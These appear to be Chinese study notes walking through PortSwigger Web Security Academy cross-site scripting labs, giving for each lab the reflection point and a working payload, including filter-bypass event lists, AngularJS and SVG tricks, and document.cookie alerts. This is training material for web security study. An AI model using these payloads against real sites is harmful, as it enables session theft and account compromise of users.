靶场链接
https://portswigger.net/web-security/all-labs
xss备忘录:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
将 XSS 反射到 HTML 上下文中,无需任何编码
搜索123后,url上出现123,页面也直接回显123,说明可能有反射xss
https://0a1a0050044ea608c4717d8200b200b4.web-security-academy.net/?search=<script>alert('1');</script>
将 XSS 存储到 HTML 上下文中,且不包含任何编码
document.write使用源的接收器中的 DOM XSSlocation.search
输入任意内容,打开f12再ctrl+f搜索看回显位置
img标签中也会回显我们的内容,构造"><img src="x" one rror=alert('1')>闭合原img并触发xss
innerHTML使用源的接收器中的 DOM XSSlocation.search
<img src=1 one rror=alert(1)>
使用源在 jQuery 锚点href属性接收器中执行 DOM XSSlocation.search
反馈页面修改returnPath参数实现反射xss
https://0a0600530390dfa08076a86d00b700f7.web-security-academy.net/feedback?returnPath=javascript:alert(document.cookie)
jQuery 选择器接收器中使用 hashchange 事件的 DOM XSS
将 XSS 反射到带有尖括号 HTML 编码的属性中
输入,出现在url中,页面有两处回显。上面的回显中<'>/都被编码了,下面的只有<>被编码。
"onmouseover="alert(1)
href存储型 XSS漏洞利用到带双引号 HTML 编码的锚点属性中
尽可能的插入payload,看看哪里有回显以及每处被编码了哪些标点符号
三处回显,其中后面两处标点符号都被转义了
第一个回显处是<a href="网址">
,填网址处写payload:javascript:alert('1')
反射式 XSS 漏洞利用到带有尖括号 HTML 编码的 JavaScript 字符串中
先输入最简单的payload:,ctrl+f搜索回显的地方
官方wp,payload'-alert(1)-'
在 select 元素中document.write使用源在接收器中执行 DOM XSSlocation.search
根据题目,直接f12,ctrl+shift+f全局搜索location.search。直接从url中提取storeId并回显在页面中
在原url后面拼接storeId=qaxtest,可以看到页面中直接回显
拼接
AngularJS 表达式中带有尖括号和双引号的 DOM XSS HTML 编码
就一处回显,标点符号全部被转义
官方wp,payload:{{$on.constructor('alert(1)')()}}
大概意思就是如果被包含ng-app中,可以用ng-app特有的AngularJS 指令来xss
反射 DOM XSS
存储型 DOM XSS
将 XSS 反射到 HTML 上下文中,大多数标签和属性均被阻止
发到intruder模块根据xss备忘录爆破标签,发现仅有body标签可用。body标签常用弹窗payload:,被拦截,再根据xss备忘录爆破事件。
可用事件:
onbeforeinput
onbeforetoggle
ondragexit
onformdata
onpointercancel
onratechange
onresize
onscrollend
onsuspend
onwebkitmouseforcechanged
onwebkitmouseforcedown
onwebkitmouseforceup
onwebkitmouseforcewillbegin
onwebkitplaybacktargetavailabilitychanged
onwebkitwillrevealbottom
将 XSS 反射到 HTML 上下文中,除自定义标签外,所有标签均被阻止
payload:%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
允许使用一些 SVG 标记的反射型 XSS
按照上面方式fuzz标签、事件,发现onbegin事件可用,构造payload:<svg><animatetransform%20onbegin=alert(1)>
规范链接标签中的反射型 XSS
网页会将url回显在href中,最终导致xss
官方wp
payload:%27accesskey=%27x%27onclick=%27alert(1)
'accesskey='x'onclick='alert(1)
第一个单引号用于闭合href,最终网页渲染出来href='https://0a7a007004af13aa80a0ee6d00bf007a.web-security-academy.net/?'accesskey='x'onclick='alert(1)',当按下按键就会触发事件。
反射型 XSS 漏洞存在于带有单引号和反斜杠转义的 JavaScript 字符串中
官方wp:</script><script>alert(1)</script>
重点关注下面的地方没有被转义
反射式 XSS 漏洞存在于带有尖括号和双引号的 JavaScript 字符串中,该字符串经过 HTML 编码,单引号已转义
下面回显处\
没有被转义,利用其将转义符号变成普通符号
原本转义单引号,在单引号前面加了一个
\'
将转义符\变成普通符号